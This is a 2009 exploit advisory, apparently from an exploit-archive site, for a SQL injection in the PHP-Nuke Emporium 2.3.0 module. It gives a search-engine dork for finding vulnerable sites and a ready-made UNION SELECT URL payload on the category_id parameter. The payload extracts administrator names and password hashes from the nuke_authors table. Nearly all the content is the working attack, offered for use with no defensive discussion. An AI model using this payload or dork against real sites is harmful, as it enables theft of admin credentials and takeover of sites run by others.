PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability
# Published : 2009-12-23
# Author : Hussin X
# Previous Title : 35mm Slide Gallery Directory Traversal Vulnerability
# Next Title : XP Book v3.0 login Admin Exploit

||| PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability
||   Author: Hussin X
||   Home :  WwW.IQ-TY.CoM<http://WwW.IQ-TY.CoM>
||   email:  darkangel_g85[at]Yahoo[DoT]com
||| DorK   : inurl:modules.php?name=Shopping_Cart
||| more
 Module's Name: Emporium
 Module's Version: 2.3.0
 Module's Description: eCommerce for PHP-Nuke.
 License: Burnwave Emporium License
 Author's Name: Michael Squires
 Module's Download  http://www.burnwave.com/


 Exploit
________

http://server/modules.php?name=Shopping_Cart&file=category&category_id=4+uNioN+sElEcT+'IQ-SecuritY',aid,pwd+from+nuke_authors--




end.

IQ-SecuritY FoRuM